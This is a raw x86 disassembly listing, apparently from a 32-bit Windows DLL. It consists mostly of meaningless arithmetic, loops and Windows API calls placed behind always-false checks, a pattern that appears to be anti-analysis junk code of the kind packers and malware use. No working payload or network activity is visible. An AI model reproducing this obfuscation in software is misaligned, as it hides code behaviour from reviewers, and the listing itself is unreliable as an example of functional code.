mov dword [ebp - 0x30], ecx
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x100309e0
mov dword [ebp - 0x34], 0x31a2
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], 0x37e3b525
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff5
jge 0x100309dd
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030934
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc34], 0xfea1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003091c
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030957
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xebc], 0xe91e412d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003093f
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030966
push eax
push eax
push eax
push eax
call edi
mov eax, dword [ebp - 0xc34]
dec dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10030985
cmp dword [ebp - 0x60c], eax
je 0x10030985
mov ecx, esi
cmp dword [ebp - 0x34], eax
jne 0x10030987
mov ecx, eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x24], 0xfff7
mov eax, dword [ebp - 0x30]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
push 0
setle dl
sub edx, dword [ebp - 0x60c]
neg edx
pop eax
sbb edx, edx
inc edx
mov dword [ebp - 0xebc], edx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff5
jl 0x10030911
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x25
je 0x100308f3
mov dword [ebp - 0x30], 0xcc5c6a3f
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030a14
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc44], 0x5f70
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100309fc
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x10030a33
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x650], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10030a1f
xor eax, eax
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], esi
jg 0x10030b27
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
or edi, 0xffffffff
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jg 0x10030adf
mov dword [ebp - 0x14], 0x6eff
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0xc44]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp eax, 0x32dfbb9d
setg cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x5a8df044
setge al
mov dword [ebp - 0x30], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030ad5
push 0x1b0b
push eax
push eax
push 0x1def
push 0x1399
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x10030a5d
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10030b04
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030b01
push esi
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x10030ae4
inc dword [ebp - 0x650]
cmp dword [ebp - 0x650], esi
jle 0x10030a4e
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 2
pop ecx
push 3
pop edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x40], 0x2d949044
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ecx
jge 0x10030b5b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x61c], 0x7c8fa1b4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10030b43
xor eax, eax
cmp dword [ebp - 0x24], esi
jb 0x10030bcd
mov dword [ebp - 0x4c], 0x7e4f
mov dword [ebp - 0x50], 0xe1c97412
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp ecx, eax
sbb eax, eax
xor ebx, ebx
neg eax
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle bl
sub ebx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0x16
jmp 0x10030bc2
mov dword [ebp - 0x2c], esi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jne 0x10030bbc
jmp 0x10030cc0
mov dword [ebp - 0x30], 0x4a11600d
mov dword [ebp - 0x54], 0x43c7
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x10030bfe
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x9c], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x10030be6
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10030c29
push 5
pop ecx
mov dword [ebp - 0x38], 0x9ba
mov dword [ebp - 0x38], 0xfb5d1cb6
mov dword [ebp - 0x38], 0x14c5530c
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x4c]
dec dword [ebp - 0x24]
jns 0x10030c09
cmp dword [ebp - 0x9c], eax
je 0x10030c34
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
jne 0x10030c69
xor eax, eax
cmp dword [ebp - 0x9c], eax
je 0x10030c75
jmp 0x10030c6b
xor eax, eax
mov edx, esi
cmp dword [ebp - 0x9c], eax
jne 0x10030c77
mov edx, eax
mov dword [ebp - 0x61c], edx
xor ecx, ecx
mov eax, dword [ebp - 0x9c]
cmp edx, eax
mov eax, dword [ebp - 0x9c]
setne cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x54]
setge bl
sub ebx, eax
mov eax, dword [ebp - 0x9c]
sub ebx, 0xdbc75b16
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
imul edx, ebx
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x10030db7
mov dword [ebp - 0x34], 0x31a2
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], 0x37e3b525
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff5
jge 0x10030db4
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030d0b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc54], 0xfea1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030cf3
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10030d2e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe98], 0xe91e412d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10030d16
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030d3d
push eax
push eax
push eax
push eax
call edi
mov eax, dword [ebp - 0xc54]
dec dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10030d5c
cmp dword [ebp - 0x618], eax
je 0x10030d5c
mov ecx, esi
cmp dword [ebp - 0x34], eax
jne 0x10030d5e
mov ecx, eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x24], 0xfff7
mov eax, dword [ebp - 0x30]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
push 0
setle dl
sub edx, dword [ebp - 0x618]
neg edx
pop eax
sbb edx, edx
inc edx
mov dword [ebp - 0xe98], edx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff5
jl 0x10030ce8
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x25
je 0x10030cca
mov eax, 0xd6c05baf
mov dword [ebp - 0x58c], eax
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], eax
mov dword [ebp - 0x580], eax
mov eax, 0x21f90ef3
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x584], 0xfffffff0
cmp dword [ebp - 0x584], 0xfffffffb
push 3
pop ebx
jg 0x10030e68
xor eax, eax
mov dword [ebp - 0x28], 0xf5a9c4c8
mov dword [ebp - 0x38], 0x54320e32
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10030e3d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1190], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10030e29
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff1
jmp 0x10030e53
mov dword [ebp - 0x4c], 0x3c6fe23a
inc dword [ebp - 0x4c]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffea
je 0x10030e46
inc dword [ebp - 0x584]
cmp dword [ebp - 0x584], 0xfffffffb
jle 0x10030e13
mov dword [ebp - 0x24], ebx
push 7
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0xff8cd3be
mov dword [ebp - 0x1c], 0xffffffeb
cmp dword [ebp - 0x1c], 0x19
jg 0x10030fd1
mov dword [ebp - 0x38], esi
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0xcfadbac
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10030eb8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1f0], 0x236432a2
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x10030ea0
xor eax, eax
mov dword [ebp - 0x1f0], ebx
cmp dword [ebp - 0x1f0], 0x11
jle 0x10030f0d
or ecx, 0xffffffff
jmp 0x10030ece
xor eax, eax
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030eef
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
call ebx
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetParent]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10030efb
mov eax, esi
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x1f0]
cmp dword [ebp - 0x1f0], 0x11
jg 0x10030ecc
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x1e8]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1f0]
setge cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, dword [ebp - 0x1f0]
jne 0x10030f79
cmp dword [ebp - 0x1ec], eax
je 0x10030f79
cmp dword [ebp - 0x1f0], eax
je 0x10030f79
mov eax, esi
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x1f0]
sub ecx, eax
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
test eax, eax
je 0x10030fa3
mov dword [ebp - 0x4c], 0x32
inc dword [ebp - 0x4c]
jmp 0x10030fc1
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030fc1
push eax
push eax
push 0x146b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x19
push 3
pop ebx
jle 0x10030e89
mov dword [ebp - 0x14], ebx
xor eax, eax
mov dword [ebp - 0x44], 0x62d5e48d
mov edx, 0xffff
mov dword [ebp - 0x30], 0xee91b76e
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0xfffffff4
cmp dword [ebp - 0x44], 0xffffffe9
jne 0x10031239
or edi, 0xffffffff
mov dword [ebp - 0x1c], 0xc04ee7d2
mov dword [ebp - 0x34], 0xab8a87ea
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jge 0x10031035
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x248], 0x83c8
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1003101d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x10031226
mov dword [ebp - 0x18], 0x7822e6e
mov dword [ebp - 0x3c], 0x38eb16e2
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x54], 0xfffffff7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10031177
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x4c], 0xc9ba5b04
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x248], 0
jne 0x10031175
mov dword [ebp - 0x20], 0xb
jmp 0x1003115d
push 2
mov dword [ebp - 0x28], eax
pop ecx
jmp 0x100310a5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x628], 0xfffffffd
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x10031094
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp edx, eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
add eax, 0x87fd074d
neg ecx
add eax, ecx
neg eax
sbb eax, eax
neg eax
add eax, 0x725f
je 0x100310e5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x248]
dec dword [ebp - 0x628]
xor ecx, ecx
mov eax, dword [ebp - 0x628]
cmp eax, esi
setge cl
xor edx, edx
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setle dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp eax, 0x864b
setne cl
xor eax, eax
add edx, ecx
cmp edx, 0x32f
setg al
cmp edi, eax
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x248]
setne dl
xor ecx, ecx
cmp edx, eax
mov edx, 0xffff
setge cl
mov dword [ebp - 0x54], ecx
dec dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], 0xffffffeb
jg 0x1003108c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x10031065
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff7
je 0x10031218
push 5
pop ecx
mov dword [ebp - 0x50], 0x1653144d
mov dword [ebp - 0x2c], 8
jmp 0x100311f5
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x22
je 0x100311f2
mov dword [ebp - 0x4c], 6
mov edx, dword [ebp - 0x4c]
neg edx
sbb edx, edx
neg edx
cmp dword [ebp - 0x28], eax
jne 0x100311c5
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
neg eax
push 0
sbb eax, eax
xor ecx, ecx
neg eax
cmp edx, eax
pop eax
setne cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x28], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x22
jne 0x100311a7
push 5
pop ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jg 0x10031197
mov dword [ebp - 0x3c], eax
jmp 0x10031205
dec dword [ebp - 0x50]
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff2
jne 0x100311ff
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff7
jne 0x10031187
dec dword [ebp - 0x1c]
mov edx, 0xffff
jns 0x10031041
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xffffffe9
je 0x10031000
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10031267
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x11a8], 0xcff0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1003124f
xor eax, eax
push 2
mov dword [ebp - 0x34], eax
pop ebx
jmp 0x100312c6
mov dword [ebp - 0x3c], 0x256a9ef7
mov dword [ebp - 0x3c], eax
jmp 0x100312be
mov dword [ebp - 0x28], 0xe2bbef7d
mov dword [ebp - 0x28], eax
jmp 0x100312b6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003129a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100312b3
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x10031287
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x1003127b
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1003126f
mov dword [ebp - 0x34], 0x281d21f1
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x38], 0x4cd45360
mov dword [ebp - 0x38], 0x473eb905
mov dword [ebp - 0x38], 0x3111738a
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x38], 0xe8588d0d
mov dword [ebp - 0x38], ebx
push 4
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0x45625132
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0xdcd66a07
mov dword [ebp - 0x38], 0xf0720718
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10031346
or ecx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc10], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10031332
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10031366
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc20], 0xe81720d7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003134e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10031385
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x34c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10031371
xor eax, eax
dec dword [ebp - 0x34c]
mov dword [ebp - 0x30], 0x2d949044
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x60], 0x2570e81d
mov dword [ebp - 0x4c], 0x67bc6200
mov dword [ebp - 0x40], 0x70d8ac50
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe4
jle 0x10031487
push 0xfffffffffffffff9
pop edi
mov dword [ebp - 0x28], 0xfffc
xor edx, edx
mov dword [ebp - 0x54], 0x8036
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x4c], 0xd0f12afb
mov dword [ebp - 0x74], 0xd38e20b4
mov eax, dword [ebp - 0x20]
cmp eax, esi
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp edi, ecx
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xa258
mov eax, dword [ebp - 0x28]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x60]
imul eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x28]
jne 0x10031429
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
cmp eax, 0x3674
setg cl
mov dword [ebp - 0x4c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
cmp eax, 0x16511c25
setg cl
xor eax, eax
mov dword [ebp - 0x40], ecx
mov ecx, eax
cmp dword [ebp - 0x40], eax
je 0x10031463
mov ecx, esi
xor eax, eax
cmp ecx, 0xc7a4
push 0
setl al
mov dword [ebp - 0x74], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe4
pop eax
jg 0x100313c1
mov edi, dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
mov dword [ebp - 0x20], eax
jmp 0x100314a7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100314a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1c
jg 0x1003148c
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x4c], 0x2ccd2044
mov dword [ebp - 0x54], 0xfffffff6
mov dword [ebp - 0x1c], 0xf
cmp dword [ebp - 0x1c], 0xfffffff5
jl 0x10031592
jmp 0x100314d7
xor eax, eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100314fa
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x2d4], 0xf89
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x100314e2
xor eax, eax
mov dword [ebp - 0x44], eax
jmp 0x10031510
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x2d4], 0xfab8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x100314ff
mov eax, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1003153a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x10031549
mov eax, esi
xor edx, edx
cmp eax, 0xc6f7
mov eax, dword [ebp - 0x2d4]
setge dl
sub edx, 0x347d
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2d0]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x54], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
jge 0x100314d5
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100315a4
call dword [sym.imp.USER32.dll_GetMessageTime]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100315c4
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x634], 0x7c8fa1b4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x100315ac
xor eax, eax
push 7
pop ecx
mov dword [ebp - 0x3c], 0xac204e2d
mov dword [ebp - 0x38], ecx
push 3
mov dword [ebp - 0x28], eax
pop edx
cmp dword [ebp - 0x28], edx
jge 0x100315f4
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x664], 0xde9bf9f
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x100315dc
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1003167d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10031618
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x700], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031604
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x10031638
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x82c], 0xf390197f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10031620
xor eax, eax
mov dword [ebp - 0x82c], eax
jmp 0x10031672
mov dword [ebp - 0x34], 0xa9576c3a
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1003166c
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x700], 0
jne 0x1003166a
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x65c], eax
dec dword [ebp - 0x34]
jns 0x1003164f
xor eax, eax
inc dword [ebp - 0x82c]
cmp dword [ebp - 0x82c], eax
jle 0x10031640
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xb
jg 0x100315fc
mov dword [ebp - 0x3c], 0xfffffffa
xor ecx, ecx
mov eax, dword [ebp - 0x65c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x65c]
mov eax, dword [ebp - 0x664]
cmp eax, 0xffffffff
setle cl
mov dword [ebp - 0x65c], ecx
cmp dword [ebp - 0x24], esi
jb 0x10031d5f
or eax, 0xffffffff
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x100316e2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1008], 0x13b91020
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x100316ca
xor eax, eax
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x1003174e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031743
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x7d1
push 0x4b0
